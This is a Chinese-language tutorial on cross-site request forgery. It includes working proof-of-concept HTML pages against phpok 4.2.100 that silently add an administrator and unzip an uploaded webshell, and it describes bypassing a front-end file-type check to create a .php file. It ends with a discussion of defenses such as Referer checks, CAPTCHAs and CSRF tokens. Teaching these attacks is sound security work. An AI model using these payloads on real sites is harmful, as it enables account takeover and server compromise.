CSRF全称Cross Site Request Forgery，即跨站点请求伪造。我们知道，攻击时常常伴随着各种各样的请求，而攻击的发生也是由各种请求造成的。
CSRF攻击能够达到的目的是使受害者发出由攻击者伪造的请求。
CSRF能做的事情大概如下：
1）篡改目标网站上的用户数据；
2）盗取用户隐私数据；
3）作为其他攻击向量的辅助攻击手法；
4）传播CSRF蠕虫。
（1）版本4.2.100：
在phpok该版本的后台提交如下POST请求可以添加管理员：
POST /phpok/admin.php?c=admin&f=save HTTP/1.1
Host: www.goal.com
…
Cookie: …
（空一行）
id=…&accont=…&pass=…&status=…&if_system=…
由以上http头部可看出，此为添加管理员的请求，只有管理员能够执行。
攻击者可以构造如下页面：
<html>
<div style="display:none">
<form action="http://localhost/phpok/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.account.value="wooyun";
t.pass.value="123456";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>
</html>
当管理员访问攻击者制作的页面时，此时会通过javascript脚本来生成一个表单对象，来通过表单标签的id属性来调用表单，为表单赋值。
此时添加账户名t.account.value = "wooyun"，此时新添加的管理员的名字将成为wooyun。
赋值结束后将通过document.poc.submit()函数来自动提交表单到受攻击的站点，此时由于管理员对于被攻击站点已经保存有cookie，则此时会直接添加新的管理员。
攻击发生之前：
管理员在登录的情况下访问攻击者的页面之后，如图：
可以看到，成功添加了一名管理员。
攻击到这里就结束了吗？并没有！攻击者利用CSRF漏洞成功进入了后台，他还要想办法GetShell！
在后台风格管理-创建模板文件的地方添加一个模板，通过抓包改包的方式绕过前端对文件类型的判断（由于判断文件类型是通过前端js，所以可通过抓包改包），如图：
把GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.html
改为GET /phpok/admin.php?c=tpl&f=create&id=1&folder=/&type=file&title=wooyun.php
可以看到成功添加了.php文件：
然后在编辑文件内容为一句话木马即可：
2）还是4.2.100...
刚才我们是通过CSRF先进入后台，然后利用后台的其他漏洞GetShell,这次我们直接在前台利用CSRF漏洞去GetShell怎么样？
phpok的前台可以上传.zip文件，我们把木马文件test.php压缩为test.zip；
注册一个账号，进入修改资料页面；
选择一个正常的图片，截获数据，如图：
然后修改数据，如图：
成功上传.zip文件，记录下文件id号，这里是739。
在后台的程序升级-ZIP离线包升级中的升级操作存在CSRF漏洞，演示如图
于是攻击者可以构造如下页面：
<html>
<form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post">
<input type="hidden" name="zipfile" value=""/>
<input type="hidden" name="file" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.zipfile.value="739";
t.file.value="739";
document.poc.submit();
</script>
</html>
管理员登录后台后访问攻击者的页面，如图：
可以看到我们的木马文件已经上传到服务器上了。
这次攻击，我们根本没有进入后台，而是利用一个CSRF漏洞直接就拿到了Webshell，由此可以看出CSRF在某些场景下的威力之大，根本不亚于SQL注入和文件上传这样的漏洞。
CSRF的防御：
首先是“跨域”，我们发现CSRF攻击的请求都是跨域的，针对这一特点，我们可以在服务端对HTTP请求头部的Referer字段进行检查。一般情况下，用户提交的都是站内的请求，其Referer中的来源地址应该是站内的地址。至关重要的一点是，前端的JavaScript无法修改Referer字段，这也是这种防御方法成立的条件。
不过需要说明的是，有的时候请求并不需要跨域，比如我们后面讲到的结合XSS进行攻击的时候，有的时候甚至没有Referer字段…，这些也是使用这种防御方法的弊病所在。
第二点是“伪造”，这也是CSRF攻击的核心点，即伪造的请求。我们来想一下，攻击者为什么能够伪造请求呢？换句话说，攻击者能够伪造请求的条件是什么呢？纵观之前我们伪造的所有请求，无一例外，请求中所有参数的值都是我们可以预测的，如果出现了攻击者无法预测的参数值，那么将无法伪造请求，CSRF攻击也不会发生。基于这一点，我们有了如下两种防御方法：
添加验证码；
使用一次性token
先看看第一种。验证码的核心作用是区分人和机器，而CSRF攻击中的请求是在受害者上当的情况下由浏览器自动发出的，属于机器发出的请求，攻击者无法预知验证码的值，所以使用验证码可以很好地防御CSRF攻击，但毫无疑问，验证码会一定程度地影响用户体验，所以我们要在安全和用户体验之间找到一个平衡点。
再看看第二种方法。所谓token是一段字母数字随机值，我们可以把它理解为一个服务端帮我们填好的验证码！每当我们访问该页面时，服务端会根据时间戳、用户ID、随机串等因子生成一个随机的token值并传回到前端的表单中，当我们提交表单时，token会作为一个参数提交到服务端进行验证。在这个请求过程中，token的值也是攻击者无法预知的，而且由于同源策略的限制，攻击者也无法使用JavaScript获取其他域的token值，所以这种方法可以成功防御CSRF攻击，也是现在用的最多的防御方式。
但是，需要注意的一点是，token的生成一定要随机，即不能被攻击者预测到，否则这种防御将形同虚设。另外，token如果作为GET请求的参数在url中显示的话，很容易在Referer中泄露。还有更重要的一点：如果在同域下存在XSS漏洞，那么基于token的CSRF防御将很容易被击破，我们后面再说。
除了“跨域”和“伪造”两点，我们还可以注意到CSRF在攻击时间上的特点：CSRF攻击都是在受害者已经完成身份认证之后发生的，这是由CSRF攻击的目的所决定的。基于这一点，我们还可以想出一些缓解CSRF攻击的方法（注意是缓解），比如缩短Session的有效时间等等，可能一定程度上会降低CSRF攻击的成功率。
总结一下上面的防御方法如下：
验证Referer；（Referer中的来源地址应该是站内的地址。至关重要的一点是，前端的JavaScript无法修改Referer字段）
使用验证码；（由机器发出请求，验证码不可预测）
使用CSRF token；（用户拥有令牌token，但是攻击者没有）
限制Session生命周期。
CSRF token最大弊病：随机性不够好或通过各种方式泄露，此外，在大型的服务中需要一台token生成及校验的专用服务器，需要更改所有表单添加的字段，有时效性的问题。